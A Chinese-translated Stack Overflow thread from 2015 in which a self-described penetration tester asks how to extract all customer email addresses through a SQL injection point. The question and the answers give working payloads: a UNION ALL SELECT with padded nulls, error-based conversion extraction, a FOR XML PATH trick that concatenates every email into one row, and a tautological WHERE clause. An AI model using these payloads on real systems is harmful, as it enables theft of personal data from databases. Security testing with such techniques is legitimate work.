在进行渗透测试时,我在Server中找到了一个SQL注入点。
我设法用这个
' UNION ALL SELECT
null,null,null,null,null,null,
null,null,null,null,null,null,
null,null,null,null,null,null,
null,null,null,null,null,null,
null,null,null,null,null,null,
null,null,email
from customers where customer_id =10--这是给我的电子邮件的用户ID 10。如果我改变ID号码,它会给我其他的结果。
有没有办法在一个查询中获取所有的电子邮件?
谢谢
更新
使用
' or 1=convert(int,(select top 1 email from customers))--我收到了第一封电子邮件。例如,通过改变为10,我得到了
OleDbException (0x80004005):子查询返回多个值。当子查询跟随=、!=、<、<=、>、>=或子查询用作表达式时,这是不允许的。
有什么想法吗?
发布于 2015-08-17 09:05:26
只需完全不使用where子句即可。这就是限制部分查询结果的原因。换句话说,类似于:
' union all select <too many nulls to retype>, email from customers --如果只有一行,那么运行网站的代码就会强制执行这个限制,比如附加类似fetch first row only或limit 1之类的内容。
如果是这样的话,您将需要保留where子句,并一次只执行一个ID的攻击。您还可能需要确保“真正的”行是在注入获得的行之后,这样前者就不会优先于后者。一个你知道不在数据库中的查找键就能做到这一点。
发布于 2015-08-17 09:39:07
根据输出的长度,您可以尝试将它们全部填充到CSV中吗?这意味着如果你被限制在一排,你应该把它拿回来?
尝试省略where子句并使用以下方法:
' union all select <nulls>, SUBSTRING((select ',' + email from customer order by email for xml path('')), 2, 1000000) --发布于 2015-08-17 10:54:04
指定此WHERE子句以返回所有客户:
WHERE customer_id = customer_id--https://stackoverflow.com/questions/32046329
复制相似问题